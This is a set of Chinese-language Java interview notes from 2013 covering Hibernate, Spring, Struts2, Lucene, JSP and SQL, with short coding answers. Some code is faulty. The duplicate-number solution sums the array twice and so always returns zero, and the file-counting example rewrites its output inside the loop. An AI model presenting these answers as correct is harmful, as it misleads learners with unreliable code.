问题1:JPBM的常用接口有哪些?
ProcessEngine工作流的流程引擎对象
1、RepositoryService 流程资源服务的接口。
作用: 提供对流程定义的部署、查询、删除等操作。
2、ExecutionService 流程执行服务的接口。
作用: 提供启动流程实例、“执行”推进,设置流程实例变量等操作。
3、ManagementService 流程管理控制服务接口。
作用: 提供异步工作相关的执行和查询操作。
4、TaskService 人工任务服务接口。
作用: 提供对任务(Task)的创建、提交、查询、保存、删除等操作。
5、HistoryService 流程历史服务的接口。
作用: 提供对任务的管理操作,提供对流程历史库中历史流程实例、历史活动实例等记录的查询操作。还提供诸如某个流程定义中所有活动的平均持续时间、某个流程定义中某转移的结果次数等数据分析服务。
6、IdentityService 身份认证服务的接口。
作用: 提供对流程用户、用户组以及组成员关系的相关服务。
问题2:Hibernate的核心接口有哪些?
Hibernate的核心接口一共有5个,分别为:Session、SessionFactory、Transaction、Query和Configuration。
这5个核心接口在任何开发中都会用到。通过这些接口,不仅可以对持久化对象进行存取,还能够进行事务控制。
问题3:Hibernate的缓存有哪些?
Session是一级缓存,SessionFactry是二级缓存。
SessionFactory是Hibernate的概念,对应一个数据存储源(如MySql,SQLServer,Oracle)
看你项目中用的哪个数据库,可以有多个,在XML文件中配置,由Configuration创建
SessionFactory可以创建Session,Session用来控制事务以及增删改查操作
SessionFactory是线程安全的,多线程可以同时访问它,创建一次就行
Session是线程不安全的,代表对数据库一次操作。一般每一次对数据库的操作都要创建一个Session,用之后关闭
1、内部缓存存在Hibernate中又叫一级缓存,属于应用事务级缓存
2、二级缓存:
a) 应用级缓存
b) 分布式缓存,比如使用Memcached可作为Hibernate二级分布式缓存
条件:数据不会被第三方修改、数据大小在可接受范围、数据更新频率低、同一数据被系统频繁使用、非关键数据
c) 第三方缓存的实现
问题4:Hibernate中get和load有什么区别?
不存在对应记录时表现不一样
load返回的是代理对象(javassist.jar生成二进制码),等到真正用到对象的内容才会发出SQL语句
get直接从数据库加载,不会延迟
get不支持懒加载 ,load支持
get查询数据库不存在的记录时返回null ,load就报异常了
问题5:什么是Session?
Session 是客户端与服务器之间的会话,用来保存用户的信息。
在编程里是会话的意思
Session 对象存储特定用户会话所需的信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去
当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话
问题6:Session和Cookie区别?
Session是服务器端缓存,Cookie是客户端缓存。
Cookie机制采用的是在客户端保持状态的方案,而Session机制采用的是在服务器端保持状态的方案
2013年8月7日:天懋数码、图创科技
问题1:书籍表,借书表,查询借书表每一本书的最新借书时间
书籍表 Book 表结构:主键ID、书名Name
借书表 Lend 表结构:主键ID、外键BookID、借书时间Time
要求精确到秒
/* 查询lend表,通过bookId分组,查出每组中时间最大的,时间最大的代表最新的*/
SELECT max(l.time)
FROM lend as l
GROUP BY l.bookId;
/* 查询book表和lend表 */
SELECT b.name as "书名", l.time as "最新借出时间"
FROM book as b , lend as l
WHERE l.bookId = b.id
AND
l.time IN
(
SELECT max(l.time)
FROM lend as l
GROUP BY l.bookId
);
问题2:WebService相关
概念:
Web Service 是一项新技术,能使得运行在不同机器上的不同应用无须借助附加的、专门的第三方软件或硬件,就可相互交换数据或集成。依据Web Service 规范实施的应用之间,无论它们所使用的语言、平台或内部协议是什么,都可以相互交换数据。
通俗的讲,Web Service 就是一个部署在Web 服务器上的一个应用程序,它向外界暴露出一个能够通过Web 进行调用的API。
这就是说,你能够用编程的方法通过Web 来调用这个应用程序。我们把调用这个Web Service 的应用程序叫做客户端,发布这个web 服务的机器称为Web Service 服务器。
优势:
异构平台的互通性
更广泛的软件复用
成本低、可读性强、应用范围广
迅捷的软件发行方式
WSDL:WebService服务描述语言
获取WEB的发布信息是通过wsimport来解析wsdl文件得到Java类来实现的。无论是获取发布的服务,还是调用发布的服务,都需要参考wsdl文件
CXF框架概念介绍
Apache CXF 是一个开源的Services框架,CXF 帮助您来构建和开发 Services。
这些 Services 可以支持多种协议,比如:SOAP1.1/1.2、POST/HTTP、RESTful、HTTP,CXF大大简化了Service,可以天然地和 Spring 进行无缝集成。
问题3:Lucene相关
对索引库的操作可以分为两种:管理与查询
管理索引库使用IndexWriter,从索引库中查询使用IndexSearcher。
Lucene的数据结构为Document文档与Field字段
Document代表一条数据,Field代表数据中的一个属性。
一个Document中有多个Field,Field的值为String型,因为Lucene只处理文本
我们只需要把在我们的程序中的对象转成Document,就可以交给Lucene管理了,搜索的结果中的数据列表也是Document的集合
中文分词器之一:IKAnalyzer
格式器对象Formatter
索引库数据查看器(lukeall-1.0.0.jar)
IndexSearcher:是用来在建立好的索引上进行搜索
QueryParser:QueryParser 是查询操作的解析类, 要告诉QueryParser对哪个字段进行查询, 用什么样的分词器,进行分词,最后返回的是一个Query对象, 交给IndexSearcher做查询操作
Term:是搜索的基本单元, Term对象有两个String类型的域组成:字段的名称和字段的值, 被分词建立索引的Field就是Term
TopDocs:
int totalHits Expert: The total number of hits for the query.
ScoreDoc[] scoreDocs Expert: The top hits for the query
创建索引API分析
Directory: 类代表一个Lucene索引的位置,FSDirectory:它表示一个存储在文件系统中的索引的位置
Analyzer类是一个抽象类, 它有多个实现,在一个文档被入索引库之前,首先需要对文档内容进行分词处理,针对不同的语言和应用需要选择适合的 Analyzer。Analyzer 把分词后的内容交给 IndexWriter 来建立索引
IndexWriter:是创建索引和维护索引的中心组件, 这个类创建一个新的索引并且添加文档到一个已有的索引中。IndexWriter只负责索引库的更新(删、更新、插入),不负责查询
Document:由多个字段(Field)组成,一个Field代表与这个文档相关的元数据。如作者、标题、主题等等,分别做为文档的字段索引和存储。add(Fieldable field)添加一个字段(Field)到Document
Jar包至少有:
lucene-core-3.0.1.jar(核心包)
contrib\analyzers\common\lucene-analyzers-3.0.1.jar(分词器)
contrib\highlighter\lucene-highlighter-3.0.1.jar(高亮)
contrib\memory\lucene-memory-3.0.1.jar(高亮)
全文检索与数据查询的区别
相关度排序: 查出的结果没有相关度排序,不知道我想要的结果在哪一页。我们在使用百度搜索时,一般不需要翻页,为什么?因为百度做了相关度排序:为每一条结果打一个分数,这条结果越符合搜索条件,得分就越高,叫做相关度得分,结果列表会按照这个分数由高到低排列,所以第1页的结果就是我们最想要的结果
查询的方式: 全文检索的速度大大快于SQL的like搜索的速度。这是因为查询方式不同造成的,以查字典举例:数据库的like就是一页一页的翻,一行一行的找,而全文检索是先查目录,得到结果所在的页码,再直接翻到这一页
定位不一样:一个更侧重高效、安全的存储、一个是侧重准确、方便的搜索
问题4:要求在不允许引入第三个变量的情况下交换 var a=1; var b=2;
方法一:
a=a+b; b=a-b; a=a-b;
输出a,b可以发现两值已经交换
方法二:
a=a^b; b=a^b; a=a^b;
问题5:使用正则表达式验证邮箱
正则表达式(regular expression, 常常缩写为RegExp) 是一种用特殊符号编写的模式,描述一个或多个文本字符串。使用正则表达式匹配文本的模式,这样脚本就可以轻松的识别和操作文本。
其实,正则表达式是值得大家花时间学习的。正则表达式不仅在JavaScript 中有用,在其他许多地方也可以使用正则表达式,例如其他编程语言(比如Perl,Java,C#,Python 和PHP ),Apache 配置文件以及BBEdit 和TextMate 等文本编辑器。甚至Adobe Dreamweaver 和Microsoft Word( 在一定程度上) 使用正则表达式也可以实现更强大的搜索和替换。
下面是一个验证电子邮件的正则表达式 :
var re = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/ ;
下面我们开始剖析这个正则表达式:
re 是一个变量, 用来存储右边的正则表达式,在JavaScript中,声明变量使用Var 关键字。
正则表达式的阅读顺序是从左向右的
正则表达式总是以( / ) 开头和结尾,斜杠之间的所有内容都是正则表达式的组成部分
脱字符( ^ ) 表示我们要使用这个表达式来检查以特定字符串开头的字符串。如果去掉脱字符,那么即使字符串开头有一堆垃圾字符,电子邮件地址也可能被认为是有效的。
表达式\w 表示任意单一字符,包括a~z 、A~Z 、0~9 或下划线。电子邮件必须这些字符之一开头
加号+ 表示我们要寻找前面条目的一次或多次出现
圆括号( ) 表示一个组,这意味着后面要引用圆括号中的所有内容,所以现在将它们放在一个组中
方括号[ ] 用来表示可以出现其中的任意一个字符。在这个示例中,方括号内包含字符\.- 。我们希望允许用户输入点号或连字符,但是点号对于正则表达式有特殊的意义,所以需要在它前面加上反斜杠\, 在特殊字符前加反斜杠表示“对字符转义”,经转义后的字符表示其本身意义。因为有方括号,输入字符串在这个位置可以有一个点号或一个连字符,但是两种不能同时存在
问号?表示前面的条目可以出现一次或不出现。所以电子邮件地址的第一部分中可以有一个点号或一个连字符,也可以没有
在?后面,再次使用\w+ ,表示点号或连字符后面必须有其他字符
在()后面出现的* 号,表示前面的条目可以出现零次或多次。所以圆括号中的内容可以出现零次或多次
@ 字符代表其本身,没有任何其他意义,这个字符位于电子邮件地址和域名之间
@ 字符后再次出现\w+ ,表示@ 后必须出现字符。在此之后,再次出现([\.-]?\w+)*, 表示电子邮件地址的后缀中允许出现点号或连字符
然后,在一对圆括号中建立另一个组(\.\w{2,3}), 表示我们希望找到一个点号,后面跟一些字符。在这个示例中,花括号中的数字表示前面的条目可以出现2 到3 次。在这个组的后面是一个+ 号,表示前面的条目(这个组)必须出现一次或多次。这会匹配.com 或.edu 之类的,也与ox.ac.uk 匹配
最后,正则表达式的末尾是一个美元符号$ ,表示匹配的字符串必须在这里结束。斜杠结束正则表达式
问题6:不使用正则表达式验证邮箱
< script type="text/javascript">
document.getElementById('email').onblur = function() {
var value = this.value;
if (typeof value == 'undefined') { //未定义
alert('Email不能为空');
return false;
} else if (value.trim() == '') { //空值
alert('Email不能为空');
return false;
} else if (value.indexOf('@') == -1) { //不包含@
alert('Email必须包含@,如
[email protected]');
return false;
} else if (value.indexOf('.') == -1) { //不包含.
alert('Email必须包含.,如
[email protected]');
return false;
} else { //包含@与.
//以@或.开头@qq.com 和
[email protected]非法
if (value.indexOf('@') == 0 || value.indexOf('.') == 0) {
alert('Email只能以字母开头');
return false;
} else if (value.lastIndexOf('@') == value.length - 1
|| value.lastIndexOf('.') == value.length - 1) {
//以@或.结束
[email protected]@ 和
[email protected].非法
alert('Email只能以字母结束');
return false;
} else { //包含@与.且不以它们结束
var count_at = 0;
//多个@ a@
[email protected]非法
if (value.indexOf('@') != value.lastIndexOf('@')) {
alert('Email只能包含一个@,如
[email protected]');
return false;
}
var beforeAt = value.substr(0, value.indexOf('@'));
if (beforeAt.indexOf('.') != -1) { //
[email protected] 非法
alert('Email的@前必须全部为字母');
return false;
}
//删除@,.替换@,反正替换后按.分隔时a@.拼接,导致@.之间无法判定为空
value = value.replace('@', '.');
var splits = value.split('.'); //按.分隔
var a_z = 'abcdefghijklmnopqrstuvwxyz'; //仅字母
for ( var i in splits) {
//对点分隔后的字符进行单字切割并匹配a-z
if (splits[i] == '') {
alert('Email的@.或..不能连接');
return false;
}
var words = splits[i].split(""); //单字切割
for ( var w in words) { //对每个单字进行验证
if (a_z.indexOf(words[w].toLowerCase()) == -1) {
alert('Email只能包含字母!');
return false;
}}}}}
return true; }
< /script>
2013年8月8日:图创科技、进易通信技术
问题1:使用A、B、C三个线程,有序的输出ABCABCABC循环十次
class A implements Runnable {
public void run() {
for (int i = 0; i < 10; i++) {
try {
synchronized (a) {
synchronized (b) {
System.out.print("A");
b.notify();
}
if (i < 9) {
a.wait();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
class B implements Runnable {
public void run() {
for (int i = 0; i < 10; i++) {
try {
synchronized (b) {
synchronized (c) {
System.out.print("B");
c.notify();
}
if (i < 9) {
b.wait();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
class C implements Runnable {
public void run() {
for (int i = 0; i < 10; i++) {
try {
synchronized (c) {
synchronized (a) {
System.out.print("C");
a.notify();
}
if (i < 9) {
c.wait();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
public static Object a = new Object();
public static Object b = new Object();
public static Object c = new Object();
public static void main(String[] args) throws Exception {
TestThread t = new TestThread();
Thread a = new Thread(t.new A());
Thread b = new Thread(t.new B());
Thread c = new Thread(t.new C());
a.start();
Thread.sleep(1);
b.start();
Thread.sleep(1);
c.start();
}
问题2:读取文本信息,读取指定信息,比如“姓名:陈小影”里的陈小影,以及统计数据
用缓冲流的readline(),一次读一行,然后截取冒号后面的,再加上字符串截取就行了subString(),最后再拼起来。
代码:
InputStreamReader read = new InputStreamReader(new FileInputStream(file), "UTF-8");
BufferedReader reader = new BufferedReader(read);
代码:
public static void main(String[] args) throws IOException
{
FileReader is = new FileReader("D:/input.txt.txt");
BufferedReader br = new BufferedReader(is);
StringBuffer buffer = new StringBuffer();
String test = "";
while((test = br.readLine()) != null){
int num = numString(test,"java");
PrintWriter os = new PrintWriter ("D:/result.txt.txt");
buffer.append("input.txt文件中,包含");
buffer.append(num);
buffer.append("个java字符串");
os.write(buffer.toString());
os.close();
}
}
public static int numString(String s , String str) {
int i = 0 ; //指定的开始搜索的索引
int index = 0 ; //查找到的第一个索引
int num = 0 ; //字符串出现的次数
while(index != -1) {
//indexOf(String str, int fromIndex)
//返回指定子字符串在此字符串中第一次出现处的索引,从指定的索引开始。
index = s.indexOf(str,i) ;
if(index != -1)
num ++ ;
i = index + str.length() ;
}
return num ;
}
}
问题3:JSP的九大内置对象和四个作用域
九大内置对象:
request 请求对象 用户端请求,此请求会包含来自GET/POST请求的参数 作用域 Request
response 响应对象 网页传回用户端的回应 作用域 Page
pageContext 页面上下文对象 网页的属性在这里管理 作用域 Page
session 会话对象 与请求有关的会话期 作用域 Session
application 应用程序对象 servlet正在执行的内容 作用域 Application
out 输出对象 用来传送回应的输出 作用域 Page
config 配置对象 servlet的构架部件 作用域 Page
page 页面对象 JSP网页本身 作用域 Page
exception 例外对象 针对错误网页,未捕捉的例外 作用域 page
四个作用域:page、request、session、application
Page 范围是当前页面
Request 范围是当前请求周期(从请求发起到服务器处理结束,返回响应的整个过程)
Session 范围是当前会话(用户打开浏览器开始,到用户关闭浏览器并且会话失效的整个过程)
Application 范围是整个应用,从应用启动到应用结束
问题4:FileWriter和PrintWriter有什么区别?
在写文件时我认为:
PrintWriter out = new PrintWriter(
new BufferedWriter(
new FileWriter(filename)));
比较好点
PrintWriter 提供print系方法
BufferedWriter 提供缓冲,用以加速
FileWriter 用于写文件
FileWriter类/FileReader类:
用于对字符文件的读写的便捷的结点流类
使用时最好用BufferedReader/BufferedWriter对其进行包装。
PrintStream类(如System.out):
格式化打印输出字节数据的流,该类提供的print[ln]()方法可格式化打印输出各种类型的数据(包括类对象)
它使用平台的默认字符编码将所有字符都转换为字节打印输出(写入)
在需要写入字符而不是写入字节的情况下,应该使用PrintWriter类
问题5:简述JSP和Servlet的关系?
JSP---Java Server Pages
拥有Servlet的特性与优点(本身就是一个Servlet)
直接在HTML中内嵌JSP代码
只有当客户端第一次请求JSP时,才需要将其转换、编译Servlet代码
优点:
优良的性能 优于CGI,PHP,ASP
平台无关性 操作系统无关,Web服务器无关
可扩展性 标签库Tag的扩展机制,简化页面开发——Taglib uri
Servlet是在Web服务器上的Java程序,它提供服务,由它来传递给你html的格式
Servlet是服务器小小的Java应用程序
用来完成B/S架构下,客户端请求的响应处理
平台独立,性能优良,能以线程方式运行
Servlet API为Servlet提供了统一的编程接口
Servlet一般在容器中运行(必须部署在Servlet容器,才能响应客户端的请求,对外提供服务,要对外统一接口,由容器来调用)
JSP在被第1次访问的时候 会被转义编译成类Servlet也可以说JSP就是一个Servlet
2者的区别:JSP是Html中内嵌Java代码;Servlet把Html代码和Java代码分离开
JSP侧重与显示;Servlet侧重与控制逻辑
问题6:简述JAVA设计模式的概念?
设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。
毫无疑问,设计模式于己于他人于系统都是多赢的,设计模式使代码编制真正工程化,设计模式是软件工程的基石,如同大厦的一块块砖石一样。
问题7:常用的数据库优化方法有哪些?
建立索引
导出历史数据
定期整理索引(sp_msforeachtable 'dbcc dbreindex("?")' )
少用like,查询前检查条件是不是完整,如果完整就用 = 替代like查询,不要不检查条件完整不完整全部用like来
问题8:什么是动态游标?什么是静态游标?
静态游标是以游标打开时刻的当时状态显示结果集的游标。静态游标在游标打开时不反映对基础数据进行的更新、删除或插入。有时称它们为快照游标。
动态游标是可以在游标打开时反映对基础数据进行的修改的游标。用户所做的更新、删除和插入在动态游标中加以反映。
问题9:为什么要用Struts2框架?
它是建立在MVC这种公认的好的模式上的,Struts在M、V和C上都有涉及,但它主要是提供一个好的控制器和一套定制的标签库上,也就是说它的着力点在C和V上。因此,它天生就有MVC所带来的一系列优点,如:结构层次分明,高可重用性,增加了程序的健壮性和可伸缩性,便于开发与设计分工,提供集中统一的权限控制、校验、国际化、日志等等
其次,它是个开源项目得到了包括它的发明者Craig R.McClanahan在内的一些程序大师和高手持续而细心的呵护,并且经受了实战的检验,使其功能越来越强大,体系也日臻完善
是它对其他技术和框架显示出很好的融合性
问题10:Struts2的工作原理?
Struts2框架由3个部分组成:
核心控制器FilterDispatcher、业务控制器和用户实现的业务逻辑组件。
在这3个部分里,Struts 2框架提供了核心控制器FilterDispatcher,而用户需要实现业务控制器和业务逻辑组件。
1、核心控制器:FilterDispatcher
FilterDispatcher是Struts2框架的核心控制器,该控制器作为一个Filter运行在Web应用中,它负责拦截所有的用户请求,当用户请求到达时,该Filter会过滤用户请求。如果用户请求以action结尾,该请求将被转入Struts2框架处理。
Struts2框架获得了*.action请求后,将根据*.action请求的前面部分决定调用哪个业务逻辑组件。例如,对于login.action请求,Struts2调用名为login的Action来处理该请求。
Struts2应用中的Action都被定义在struts.xml文件中,在该文件中定义Action时,定义了该Action的name属性和class属性,其中name属性决定了该Action处理哪个用户请求,而class属性决定了该Action的实现类。
Struts2用于处理用户请求的Action实例,并不是用户实现的业务控制器,而是Action代理。因为用户实现的业务控制器并没有与Servlet API耦合,显然无法处理用户请求。而Struts2框架提供了系列拦截器,该系列拦截器负责将HttpServletRequest请求中的请求参数解析出来,传入到Action中,并回调Action 的execute方法来处理用户请求。
2、一个请求在Struts2框架中的处理大概分为以下几个步骤:
客户端初始化一个指向Servlet容器(例如Tomcat)的请求 ,即HttpServletRequest请求
这个请求经过一系列的过滤器(Filter)(这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器,这个过滤器对于Struts2和其他框架的集成很有帮助,例如:SiteMesh Plugin)
接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请是否需要调用某个Action
如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy
ActionProxy通过Configuration Manager询问框架的配置文件,找到需要调用的Action类
ActionProxy创建一个ActionInvocation的实例
ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用
一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可 能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2 框架中继承的标签。在这个过程中需要涉及到ActionMapper
在上述过程中所有的对象(Action,Results,Interceptors,等)都是通过ObjectFactory来创建的。
问题11:Hibernate的工作原理?
读取并解析hibernate.cfg.xml配置文件
读取并解析映射信息,创建SessionFactory
打开Sesssion
创建事务Transaction
持久化操作
提交事务
关闭Session
关闭SesstionFactory
问题12:为什么要用Hibernate?
对JDBC访问数据库的代码做了封装,大大简化了数据访问层繁琐的重复性代码
Hibernate是一个基于JDBC的主流持久化框架,是一个优秀的ORM实现。他很大程度的简化DAO层的编码工作
Hibernate使用Java反射机制,而不是字节码增强程序来实现透明性
Hibernate的性能非常好,因为它是个轻量级框架。映射的灵活性很出色。它支持各种关系数据库,从一对一到多对多的各种复杂关系
问题13:Hibernate如何实现延迟加载?
当Hibernate在查询数据的时候,数据并没有存在与内存中,当程序真正对数据的操作时,对象才存在与内存中,就实现了延迟加载,他节省了服务器的内存开销,从而提高了服务器的性能。
问题14:Hibernate中怎样实现类之间的关系?(如:一对多、多对多的关系)
类与类之间的关系主要体现在表与表之间的关系进行操作,它们都是对对象进行操作,我们程序中把所有的表与类都映射在一起,它们通过配置文件中的many-to-one、one-to-many、many-to-many
问题15:Spring的工作原理?
IoC(Inversion of control): 控制反转
概念:控制权由对象本身转向容器,由容器根据配置文件去创建实例并创建各个实例之间的依赖关系
核心:bean工厂,在Spring中,bean工厂创建的各个实例称作bean
AOP(Aspect-Oriented Programming): 面向切面编程
1、代理的两种方式:
静态代理:
针对每个具体类分别编写代理类
针对一个接口编写一个代理类
动态代理:
针对一个切面编写一个InvocationHandler,然后借用JDK反射包中的Proxy类为各种接口动态生成相应的代理类
2、AOP的主要原理:动态代理
Spring的工作原理
Spring 已经用过一段时间了,感觉Spring是个很不错的框架。内部最核心的就是IOC了, 动态注入,让一个对象的创建不用new了,可以自动的生产,这其实就是利用Java里的反射
反射其实就是在运行时动态的去创建、调用对象,Spring就是在运行时,跟XMLSpring的配置文件来动态的创建对象,以及调用对象里的方法
Spring还有一个核心就是AOP这个就是面向切面编程,可以为某一类对象进行监督和控制(也就是在调用这类对象的具体方法的前后去调用你指定的模块)从而达到对一个模块扩充的功能,这些都是通过配置类达到的
Spring的目的:
就是让对象与对象(模块与模块)之间的关系没有通过代码来关联,都是通过配置类说明管理的(Spring根据这些配置内部通过反射去动态的组装对象),要记住:Spring是一个容器,凡是在容器里的对象才会有Spring所提供的这些服务和功能
Spring里用的最经典的一个设计模式就是:模板方法模式。(这里我都不介绍了,是一个很常用的设计模式)Spring里的配置是很多的,很难都记住,但是Spring里的精华也无非就是以上的两点,把以上两点跟理解了也就基本上掌握Spring。
问题16:SpringMVC的工作原理?
Spring的MVC框架主要由DispatcherServlet、处理器映射、处理器、视图解析器、视图组成
整个处理过程从一个HTTP请求开始:
DispatcherServlet接收到请求后,根据对应配置文件中配置的处理器映射,找到对应的处理器映射项(HandlerMapping),根据配置的映射规则,找到对应的处理器(Handler)
调用相应处理器中的处理方法,处理该请求,处理器处理结束后会将一个ModelAndView类型的数据传给DispatcherServlet,这其中包含了处理结果的视图和视图中要使用的数据
DispatcherServlet根据得到的ModelAndView中的视图对象,找到一个合适的ViewResolver(视图解析器),根据视图解析器的配置,DispatcherServlet将视图要显示的数据传给对应的视图,最后给浏览器构造一个HTTP响应
DispatcherServlet是整个Spring MVC的核心,它负责接收HTTP请求组织协调Spring MVC的各个组成部分
其主要工作有以下三项:
截获符合特定格式的URL请求
初始化DispatcherServlet上下文对应的WebApplicationContext,并将其与业务层、持久化层的WebApplicationContext建立关联
初始化Spring MVC的各个组成组件,并装配到DispatcherServlet中
问题17:SendRedirect 和Foward区别
1、请求次数不同,这是最本质的区别
在Foward方式下,在执行当前JSP对象或者Servlet对象的过程中去调用目标文件对应的对象,相当于方法调用,把request和response对象作为参数传递到目标文件对应的对象,当前文件和目标文件的执行是在用户发送的一次请求中完成的。
在redirect方式下,用于首先请求了当前文件,当前文件把目标文件的地址返回给了客户端,客户端再次发送请求,请求目标文件,实际上是发送了两次请求。
2、传值方式不同
在Foward方式下,当前文件和目标文件属于同一次请求,共享request对象,所以可以使用request对象传值。
在redirect方式下,当前文件和目标文件属于不同的请求,每次请求会单独创建request和response对象,这样就不能使用request对象来传值。
在MVC模式下,通常在控制器中调用模型得到数据,然后保存到request中,然后Foward到目标文件,目标文件从request中获取需要的信息。如果使用sendRedirect方式在控制器和视图之间传递信息,需要使用在目标文件之后加上“?名字=值”的方式传递。
3、客户端在地址栏中看到的地址不一样
对于Foward,在地址栏中看到的是第1个文件的名字。
对于sendRedirect,在地址栏中看到的是第2个文件的地址。
有时候会影响目标文件中的相对路径,例如当前文件是aa文件夹中的a.jsp,目标文件是bb文件夹中的b.jsp,在b.jsp中要访问一个图片,使用相对路径,直接写face.jpg,这个文件与b.jsp放在一起。如果采用forward方式,地址栏中是a.jsp,这样系统会在aa文件夹中找face.jpg,这时候就会出错。
问题18:addBatch批量处理数据库数据时用execute对吗?
错,要使用executeBatch执行批量SQL语句
问题19:简述JavaWeb中Model2及软件分层架构的好处
Model2(JSP+Servlet+JavaBean)具有组件化的优点从而更易于实现对大规模系统的开发和管理,职责划分清晰。
优点:
分层式结构究竟其优势何在?Martin Fowler在《Patterns of Enterprise Application Architecture》一书中给出了答案:
1、开发人员可以只关注整个结构中的其中某一层
2、可以很容易的用新的实现来替换原有层次的实现
3、可以降低层与层之间的依赖
4、有利于标准化
5、利于各层逻辑的复用
概括来说,分层式设计可以达至如下目的:分散关注、松散耦合、逻辑复用、标准定义
缺点:
“金无足赤,人无完人”,分层式结构也不可避免具有一些缺陷
1、降低了系统的性能,这是不言而喻的。如果不采用分层式结构,很多业务可以直接造访数据库,以此获取相应的数据,如今却必须通过中间层来完成
2、有时会导致级联的修改,这种修改尤其体现在自上而下的方向。如果在表示层中需要增加一个功能,为保证其设计符合分层式结构,可能需要在相应的业务逻辑层和数据访问层中都增加相应的代码。
关于第一个缺点,完全可以通过系统的缓存机制来减小对性能的影响。第二个缺点,我想只能通过采用一些设计模式来得到改善吧。
问题20:说说Session分话的原理,Session与Cookie的关系及区别
服务器上通过Session来分别不同的用户Session ID
任何连接到服务器上的用户,服务器都会位之分配唯一的一个不会重复的Session ID
Session ID是由服务器统一管理的,人为不能控制
Session在服务器上2个基本操作:
Session.setAttribute(String key,Object obj)以键值对的方式存储数据
Session.getAttribute(String key)根据键获取数据
Session是服务器端缓存,Cookie是客户端缓存
Cookie机制采用的是在客户端保持状态的方案,而Session机制采用的是在服务器端保持状态的方案
问题21:Cookie中的值能否包含各种特殊字符及中文字符?如果不能,那应该如何处理?
当Cookie中包含有等号、空格、分号等特殊字符时,可能会导致数据丢失、或者不能解析的错误,一个较好的解决办法就是:在将Cookie值写入客户端浏览器之前,首先进行URLEncode编码,读取Cookie时,进行URLDecode即可。
问题22:JDBC和Hibernate的比较?
JDBC与Hibernate在性能上相比,JDBC灵活性有优势。而Hibernate在易学性,易用性上有些优势。当用到很多复杂的多表联查和复杂的数据库操作时,JDBC有优势。
相同点:
两者都是JAVA的数据库操作中间件
两者对于数据库进行直接操作的对象都不是线程安全的,都需要及时关闭
两者都可以对数据库的更新操作进行显式的事务处理
不同点:
使用的SQL语言不同:JDBC使用的是基于关系型数据库的标准SQL语言,Hibernate使用的是HQL(Hibernate query language)语言
操作的对象不同:JDBC操作的是数据,将数据通过SQL语句直接传送到数据库中执行,Hibernate操作的是持久化对象,由底层持久化对象的数据更新到数据库中。
数据状态不同:JDBC操作的数据是“瞬时”的,变量的值无法与数据库中的值保持一致,而Hibernate操作的数据是可持久的,即持久化对象的数据属性的值是可以跟数据库中的值保持一致的。
Hibernate与JDBC哪个好?各自的优点和缺点:
1、内存消耗:采用JDBC的无疑是最省内存的,Hibernate的次之
2、运行效率:如果JDBC的代码写的非常优化,那么JDBC架构运行效率最高,但是实际项目中,这一点几乎做不到,这需要程序员非常精通JDBC,运用Batch语句,调整PreapredStatement的Batch Size和Fetch Size等参数,以及在必要的情况下采用结果集cache等等。而一般情况下程序员是做不到这一点的。因此Hibernate架构表现出最快的运行效率
3、开发效率:在大的项目,特别是持久层关系映射很复杂的情况下,Hibernate效率高的惊人,JDBC次之
延迟加载是罪魁祸首,所谓“成也萧何,败也萧何”
有时发现查询速度很慢,检查才发现是我没有启用延迟加载,造成递归的数据都被加载进来了
如果加上了延迟加载,那么许多页面将无法使用,必须在程序里进行代码级别的递归的延迟加载数据的读取
1 用HQL来写查询语句,这是最高效的办法(推荐)
2 用JDBC,脱离了Hibernate范畴,缓存方面和乐观所方面会出现不一致,而且语句变得繁琐了(不推荐)
3 将前台要用到的实体,独立设计成单独的类,没有任何关联,都是单表,用到的只是Hibernate的封装以及简单的OR映射
4 在大数据量系统中都会遇到类似的问题,我的解决方法是少用一对多关联映射或者不用一对多关联,设置关联少的数据表,用SQL语句做关联的查询,Hibernate中映射的配置 Lazy都为False
2013年8月9日:微游科技、三六五世界科技
问题1:有一个1001个元素的数组a[n],每个元素都在1到1000这些整数中取值,其中只有一个数得复,并且数组中每个元素只能被访问一次,设计一个算法找出这个数字.说明:每个元素只能被访问一次,就像执行int v=a[1],v变量和a[1]元素不能再访问.求高手指教
一共有1001个数,其中1000个数是从1到1000取值的(而且取完一遍),另外一个数是重复数,那就用这1001个数的和,与前头那个1000数的等差数列相减,便得出那个重复数了.
for (int num=0,i=0;i<1001;i++){num+=a【i】-i;} i从0开始,所以减的是1到1000的和。
int[] arr = new int[1001];// 定义一个能够存储1001个元素的数组。
int sum = 0;// 定义一个变量用于存储arr数组元素里面的所有总和。
int sum1 = 0;// 定义一个变量用于存储1-1000的总和。
for (int i = 0; i < arr.length; i++) {
sum += arr[i];// 用for循环,遍历求出集合中所有元素的总和。
}
for (int i = 0; i < 1001; i++) {
sum1 += arr[i];// 用for循环,遍历求出1-1000中所有元素的总和。
}
int a = sum - sum1;// 假设a为,arr数组里面重复的元素!
System.out.println("数组里面重复的数字为:" + a);
问题2:瀑布式开发模型和螺旋式开发模型?
瀑布式模型:可行性研究与计划、需求分析、设计、开发、测试、维护
螺旋式模型:可行性研究报告、需求说明书、设计文档、程序、测试报告
瀑布式模型要做完上一步才可以进行下一步,现已淘汰
螺旋模型(Spiral Model)采用一种周期性的方法来进行系统开发,这会导致开发出众多的中间版本
使用它,项目经理在早期就能够为客户实证某些概念。该模型是快速原型法,以进化的开发方式为中心,在每个项目阶段使用瀑布模型法。
这种模型的每一个周期都包括需求定义、风险分析、工程实现和评审4个阶段,由这4个阶段进行迭代。软件开发过程每迭代一次,软件开发又前进一个层次。
